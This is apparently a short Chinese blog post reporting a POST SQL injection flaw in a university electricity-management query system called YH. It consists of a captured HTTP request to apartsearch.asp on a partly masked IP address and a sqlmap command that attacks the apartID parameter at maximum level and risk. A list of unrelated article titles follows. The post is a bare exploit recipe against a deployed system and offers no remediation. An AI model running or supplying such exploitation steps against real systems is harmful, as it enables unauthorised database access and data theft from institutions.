YH高校集中用电管理网上查询系统POST注入漏洞
2024-09-03 08:43:43
1.burpsuite 抓包保存为1.txt
POST /apartsearch.asp HTTP/1.1
Host: 2*0.86.2**.69
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://2*0.86.2**.69/apartsearch.asp
Cookie: ASPSESSIONIDASRTDRTS=FHGPKHLDGKCGBHNDIAPLLDBH
DNT: 1
X-Forwarded-For: 8.8.8.8
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 43 apartID=1&action=search&Submit=%CC%E1%BD%BB
2.启动sqlmap
sqlmap.py -r "c:\1.txt" -p apartID --leve 5 --risk 3 --batch
最新文章
- HDU 1372 Knight Moves (bfs)
- jquery 文本域光标操作(选、添、删、取)
- 初始block,关于定义的几个小题目
- IE6 IE7 IE8(Q) 负边距 (margin) 导致元素溢出 hasLayout 容器时显示异常
- 文件/文件夹比较工具 beyond compare 3.3.10
- SQLServer 索引以及视图
- When does layoutSubviews get called?
- 【HDOJ】2809 God of War
- Android消息推送之GCM方式(一)
- Session的两种实现
- Linux系统监控命令及定位Java线程
- Python使用TCPServer编写(多线程)Socket服务
- LeetCode 977 Squares of a Sorted Array 解题报告
- 框架:MVC
- Java-Runoob-高级教程-实例-方法:05. Java 实例 – 阶乘
- WAS 与IHS集成问题
- sublime text全局搜索,查找对应类插件
- SPOJ3713——Primitive Root
- SpringMVC 之类型转换Converter 源代码分析
- iOS开发之--TableViewCell重用机制避免重复显示问题